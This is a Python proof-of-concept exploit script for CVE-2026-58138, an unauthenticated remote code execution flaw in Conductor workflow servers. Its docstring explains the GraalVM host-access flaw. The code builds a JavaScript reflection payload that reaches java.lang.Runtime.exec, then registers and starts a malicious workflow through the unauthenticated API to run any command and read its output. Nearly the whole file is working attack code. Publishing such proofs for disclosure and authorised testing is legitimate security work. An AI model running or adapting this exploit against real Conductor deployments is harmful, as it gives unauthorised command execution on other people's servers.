#!/usr/bin/env python3 """ CVE-2026-58138 - Orkes/OSS Conductor 3.21.21..3.30.1 - Unauthenticated RCE Conductor's INLINE task evaluates a user-supplied JavaScript expression with a GraalVM context built with full host access: core/.../events/ScriptEvaluator.java: Context.newBuilder("js").allowHostAccess(HostAccess.ALL) ... # vulnerable With host access enabled, the script reflects from the bound input object up to java.lang.Class.forName, loads java.lang.Runtime, and calls Runtime.exec — arbitrary OS command execution. The Conductor community API has no authentication by default, so submitting a workflow whose INLINE task carries this expression is an unauthenticated RCE. Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts For authorized security testing only. """ import argparse import json import sys import time import urllib.request def js_rce(cmd): # Bootstrap reflection from the bound input object ($), load Runtime, build a String[] # ['sh','-c',cmd] reflectively, exec it, and return the command's stdout as the task result. c = cmd.replace("\\", "\\\\").replace("'", "\\'") return ( "var k=$.getClass().getClass();" "var S=k.getMethod('getName').getReturnType();" "var forName=k.getMethod('forName',S);" "var L=function(n){return forName.invoke(null,[n]);};" "var RT=L('java.lang.Runtime');" "var rt=RT.getMethod('getRuntime').invoke(null,[]);" "var I=L('java.lang.Integer').getField('TYPE').get(null);" "var A=L('java.lang.reflect.Array');" "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);" "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));" f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);" "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();" "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());" "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);" "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o" ) def call(base, path, data=None, method=None): url = base.rstrip("/") + path body = json.dumps(data).encode() if data is not None else None req = urllib.request.Request(url, data=body, method=method or ("POST" if data is not None else "GET"), headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"}) with urllib.request.urlopen(req, timeout=30) as r: raw = r.read().decode() try: return r.status, json.loads(raw) except Exception: return r.status, raw def main(): ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE PoC") ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080") ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host") args = ap.parse_args() wf = "pwn_" + str(int(time.time())) wfdef = { "name": wf, "version": 1, "schemaVersion": 2, "ownerEmail": "poc@example.com", "tasks": [{ "name": "pwn", "taskReferenceName": "pwn", "type": "INLINE", "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)}, }], } print(f"[*] {args.target} cmd={args.cmd!r}") print("[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)") call(args.target, "/api/metadata/workflow", wfdef) # register (unauthenticated) st, wid = call(args.target, f"/api/workflow/{wf}", {}) # start (unauthenticated) wid = wid if isinstance(wid, str) else str(wid) print(f"[*] started workflow id={wid}; reading INLINE task output ...") time.sleep(2) st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true") out = None for t in (info.get("tasks") or []): if t.get("taskType") == "INLINE": out = (t.get("outputData") or {}).get("result") if out: print("\n[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:") print(str(out).strip()) else: print("[!] no result; workflow status:", info.get("status")) print(" task output:", json.dumps((info.get("tasks") or [{}])[-1].get("outputData", {}))[:300]) if __name__ == "__main__": sys.exit(main())